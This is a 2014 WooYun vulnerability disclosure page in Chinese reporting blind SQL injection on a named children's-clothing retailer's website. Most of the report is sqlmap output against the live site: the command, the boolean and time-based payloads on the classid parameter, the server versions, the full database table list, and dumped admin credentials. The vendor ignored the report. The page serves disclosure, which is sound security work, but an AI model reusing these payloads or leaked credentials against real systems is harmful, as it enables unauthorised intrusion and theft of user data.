当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084896

漏洞标题:娃哈哈童装网站存在SQL注入

相关厂商:whhtz.com

漏洞作者: piza_M

提交时间:2014-11-28 09:55

修复时间:2014-12-03 09:56

公开时间:2014-12-03 09:56

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-28: 细节已通知厂商并且等待厂商处理中
2014-12-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

娃哈哈童装网站存在SQL盲注

详细说明:

[root@Hacker~]# Sqlmap -u http://www.whhtz.com/about.php?classid=35 --current-us
er --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 08:49:30
[08:49:31] [INFO] resuming back-end DBMS 'mysql'
[08:49:32] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: classid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: classid=35 AND 5437=5437
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: classid=35 AND SLEEP(5)
---
[08:49:32] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.11, PHP 5.2.13
back-end DBMS: MySQL 5.0.11
[08:49:32] [INFO] fetching current user
[08:49:32] [INFO] resumed: web9429504@localhost
current user: 'web9429504@localhost'
[08:49:32] [INFO] fetching current database
[08:49:32] [INFO] resumed: sqlweb9429504
current database: 'sqlweb9429504'
Place: GET
Parameter: classid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: classid=35 AND 5437=5437
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: classid=35 AND SLEEP(5)
---
Database: sqlweb9429504
[228 tables]
+----------------------+
| about |
| admin |
| article |
| article_class |
| cdb_access |
| cdb_activities |
| cdb_activityapplies |
| cdb_addons |
| cdb_adminactions |
| cdb_admincustom |
| cdb_admingroups |
| cdb_adminnotes |
| cdb_adminsessions |
| cdb_advertisements |
| cdb_announcements |
| cdb_attachmentfields |
| cdb_attachments |
| cdb_attachpaymentlog |
| cdb_attachtypes |
| cdb_banned |
| cdb_bbcodes |
| cdb_caches |
| cdb_creditslog |
| cdb_crons |
| cdb_debateposts |
| cdb_debates |
| cdb_failedlogins |
| cdb_faqs |
| cdb_favoriteforums |
| cdb_favorites |
| cdb_favoritethreads |
| cdb_feeds |
| cdb_forumfields |
| cdb_forumlinks |
| cdb_forumrecommend |
| cdb_forums |
| cdb_giftlog |
| cdb_gifts |
| cdb_gifttype |
| cdb_imagetypes |
| cdb_invites |
| cdb_itempool |
| cdb_lovewall |
| cdb_magiclog |
| cdb_magicmarket |
| cdb_magics |
| cdb_medallog |
| cdb_medals |
| cdb_memberfields |
| cdb_membermagics |
| cdb_memberrecommend |
| cdb_members |
| cdb_memberspaces |
| cdb_moderators |
| cdb_modworks |
| cdb_mytasks |
| cdb_navs |
| cdb_onlinelist |
| cdb_onlinetime |
| cdb_orders |
| cdb_paymentlog |
| cdb_pluginhooks |
| cdb_plugins |
| cdb_pluginvars |
| cdb_polloptions |
| cdb_polls |
| cdb_postposition |
| cdb_posts |
| cdb_profilefields |
| cdb_projects |
| cdb_promotions |
| cdb_prompt |
| cdb_promptmsgs |
| cdb_prompttype |
| cdb_ranks |
| cdb_ratelog |
| cdb_regips |
| cdb_relatedthreads |
| cdb_reportlog |
| cdb_request |
| cdb_rewardlog |
| cdb_rsscaches |
| cdb_searchindex |
| cdb_sessions |
| cdb_settings |
| cdb_smilies |
| cdb_spacecaches |
| cdb_stats |
| cdb_statvars |
| cdb_styles |
| cdb_stylevars |
| cdb_tags |
| cdb_tasks |
| cdb_taskvars |
| cdb_templates |
| cdb_threads |
| cdb_threadsmod |
| cdb_threadtags |
| cdb_threadtypes |
| cdb_tradecomments |
| cdb_tradelog |
| cdb_tradeoptionvars |
| cdb_trades |
| cdb_typemodels |
| cdb_typeoptions |
| cdb_typeoptionvars |
| cdb_typevars |
| cdb_usergroups |
| cdb_validating |
| cdb_warnings |
| cdb_words |
| class |
| job |
| link |
| ly |
| menu |
| orderjob |
| pic |
| plugin_wish |
| product |
| tb_admin |
| tb_dingdan |
| tb_gonggao |
| tb_ip |
| tb_leaveword |
| tb_pingjia |
| tb_shangpin |
| tb_user |
| uc_admins |
| uc_applications |
| uc_badwords |
| uc_domains |
| uc_failedlogins |
| uc_feeds |
| uc_friends |
| uc_mailqueue |
| uc_memberfields |
| uc_members |
| uc_mergemembers |
| uc_newpm |
| uc_notelist |
| uc_pms |
| uc_protectedmembers |
| uc_settings |
| uc_sqlcache |
| uc_tags |
| uc_vars |
| uchome_ad |
| uchome_adminsession |
| uchome_album |
| uchome_appcreditlog |
| uchome_blacklist |
| uchome_block |
| uchome_blog |
| uchome_blogfield |
| uchome_cache |
| uchome_class |
| uchome_click |
| uchome_clickuser |
| uchome_comment |
| uchome_config |
| uchome_creditlog |
| uchome_creditrule |
| uchome_cron |
| uchome_data |
| uchome_docomment |
| uchome_doing |
| uchome_event |
| uchome_eventclass |
| uchome_eventfield |
| uchome_eventinvite |
| uchome_eventpic |
| uchome_feed |
| uchome_friend |
| uchome_friendguide |
| uchome_friendlog |
| uchome_invite |
| uchome_log |
| uchome_magic |
| uchome_magicinlog |
| uchome_magicstore |
| uchome_magicuselog |
| uchome_mailcron |
| uchome_mailqueue |
| uchome_member |
| uchome_mtag |
| uchome_mtaginvite |
| uchome_myapp |
| uchome_myinvite |
| uchome_notification |
| uchome_pic |
| uchome_picfield |
| uchome_poke |
| uchome_poll |
| uchome_pollfield |
| uchome_polloption |
| uchome_polluser |
| uchome_post |
| uchome_profield |
| uchome_profilefield |
| uchome_report |
| uchome_session |
| uchome_share |
| uchome_show |
| uchome_space |
| uchome_spacefield |
| uchome_spaceinfo |
| uchome_spacelog |
| uchome_stat |
| uchome_statuser |
| uchome_tag |
| uchome_tagblog |
| uchome_tagspace |
| uchome_task |
| uchome_thread |
| uchome_topic |
| uchome_topicuser |
| uchome_userapp |
| uchome_userappfield |
| uchome_userevent |
| uchome_usergroup |
| uchome_userlog |
| uchome_usermagic |
| uchome_usertask |
| uchome_visitor |
| users |
| vote_ip |
| xinxi |
+----------------------+
部分表单列表:
Database: sqlweb9429504
Table: admin
[5 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| datetime | timestamp |
| id | int(4) |
| loginip | varchar(50) |
| password | varchar(50) |
| username | varchar(50) |
+----------+-------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: classid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: classid=35 AND 5437=5437
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: classid=35 AND SLEEP(5)
---
Database: sqlweb9429504
Table: admin
[2 entries]
+----------+----------+
| username | password |
+----------+----------+
| 3333 | 3333 |
| admin | admin |
+----------+----------+
Database: sqlweb9429504
Table: xinxi
[10 columns]
+---------+--------------+
| Column | Type |
+---------+--------------+
| address | varchar(100) |
| bq | varchar(100) |
| cz | varchar(50) |
| email | varchar(50) |
| fwtel | varchar(100) |
| lxr | varchar(50) |
| qq | v`rchar(50) |
| tel | varchar(50) |
| wm | varchar(100) |
| wz | varchar(50) |
+---------+--------------+
Database: sqlweb9429504
Table: uchome_blog
[20 columns]
+----------+-----------------------+
| Column | Type |
+----------+-----------------------+
| blogid | mediumint(8) unsigned |
| classid | smallint(6) unsigned |
| click_1 | smallint(6) unsigned |
| click_2 | smallint(6) unsigned |
| click_3 | smallint(6) unsigned |
| click_4 | smallint(6) unsigned |
| click_5 | smallint(6) unsigned |
| dateline | int(10) unsigned |
| friend | tinyint(1) |
| hot | mediumint(8) unsigned |
| noreply | tinyint(1) |
| password | char(10) |
| pic | char(120) |
| picflag | tinyint(1) |
| replynum | mediumint(8) unsigned |
| subject | char(80) |
| topicid | mediumint(8) unsigned |
| uid | mediumint(8) unsigned |
| username | char(15) |
| viewnum | mediumint(8) unsigned |
+----------+-----------------------+

漏洞证明:

已经证明

修复方案:

参数过滤

版权声明:转载请注明来源 piza_M@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-03 09:56

厂商回复:

最新状态:

暂无